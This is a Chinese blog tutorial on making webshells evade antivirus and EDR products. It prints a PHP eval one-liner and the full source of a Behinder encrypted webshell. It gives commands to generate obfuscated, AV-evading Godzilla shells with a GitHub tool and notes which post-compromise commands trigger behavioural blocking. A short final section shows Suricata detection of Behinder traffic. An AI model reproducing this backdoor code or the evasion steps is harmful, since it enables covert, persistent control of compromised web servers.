当前位置: 首页 > news >正文

免杀对抗-Webshell篇

# 1、认知需要免杀的对象有哪些
-各类杀毒产品,EDR,微步平台产品等
-火绒/360全家桶/DF/卡巴/Nod32/EDR/微步等
# 2、认知需要免杀的⽬标有哪些
-Webshell/内存⻢
-C2/CS类远控后⻔
-渗透测试安全⼯具类
-红队APT钓⻥⽂档类
# 3、认知需要免杀的技术有哪些
静态⼿法,动态⼿法,保护⼿法,源码魔改等

查杀是一个很大的方面,行为调用和流量特征都涉及代码修改

查杀的三个对象

1 表面代码 &加密混淆

例:<? php eval($_POST["123"]);

代码混淆方案1-XG拟态web免杀工具

使用XG拟态web免杀工具进行代码混淆

# 冰蝎⻢被杀
<?php
@error_reporting(0);
session_start();$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码re
beyond
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {$post[$i] = $post[$i]^$key[$i+1&15];}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}$arr=explode('|',$post);$func=$arr[0];$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}@call_user_func(new C(),$params);
?>

同理, 混淆冰蝎马免杀

注意在最下面会有适配的php版本

代码混淆方案2- r u o j i

#github下载

https://github.com/RuoJi6/ruoji

# ruoji免杀工具使用

pip install -r re.txt

# 生成哥斯拉马

python webshell_bypass_5.1.py -p 1.php

变量名长度和cookie值随意

2 行为调用

# ⾏为调⽤查杀:虽然可以正常连接,但是执⾏敏感⾏为命令会被阻⽌
# 未阻⽌
dir
# 阻⽌
net user

3 流量特征

# 环境
处于同⼀nat模式下即可,kali流量监控,win10执⾏webshell
# 检测冰蝎后⻔:(冰蝎⼏个版本)
安装:apt install suricata
监控:suricata -c /etc/suricata/suricata.yaml -i eth0 -s /etc/suricata/rules/Behinder3.rules
查看:cat /var/log/suricata/fast.log# 安装:
apt install suricata
# 开启流量监控监控加载冰蝎规则
suricata -c /etc/suricata/suricata.yaml -i eth0 -s /etc/suricata/rules/Behinder3.rules
# 使⽤冰蝎V3.0进⾏敏感操作并查看结果
dir
# kali中查看结果,发现检测到了冰蝎流量特征
cat /var/log/suricata/fast.log
http://www.dtcms.com/a/139093.html

相关文章:

  • 2.4 函数的运行原理
  • 常用 Git 命令详解
  • 关于视频的一些算法内容,不包含代码等
  • 计算serise数据的唯一值数量
  • 【2-12】CRC循环冗余校验码
  • 从原理到实践:NFS复杂故障处理方法论
  • 【人工智能】大模型的Prompt工程:释放DeepSeek潜能的艺术与科学
  • 快速迭代收缩-阈值算法(FISTA)
  • Python学习笔记(五)(列表与元组)
  • vue3 element-plus el-time-picker控制只显示时 分,并且控制可选的开始结束时间
  • AOSP世界时间的更新
  • 基于多模态双路TCN-SE-YOLO的小目标检测
  • 三维领域的语义分割
  • 【深基18.例3】查找文献-图的储存与遍历
  • 无线uniapp调试设备
  • EthernetiP转modbusTCP网关在加氢催化中的应用
  • Flask(补充内容)配置SSL 证书 实现 HTTPS 服务
  • Flask(2): 在windows系统上部署项目2
  • 【C】初阶数据结构10 -- 希尔排序
  • 知识库Qanyting部署问题总结
  • 使用sealos部署kubernetes集群并实现集群管理
  • Idea连接远程云服务器上的MySQL,开放云服务器端口
  • Markdown 教程
  • Linux驱动开发-①regmap②IIO子系统
  • Spring Boot 项目中发布流式接口支持实时数据向客户端推送
  • 【KWDB创作者计划】_KwDB2.2.0深度实践:从存储引擎到物联网场景的多模数据库实战
  • XSS之同源、跨域、内容安全策略
  • C语言——数组
  • 【网络技术_域名解析DNS】一、DNS 基础剖析及其原理
  • [轻量化超分]CAMixerSR: Only Details Need More “Attention“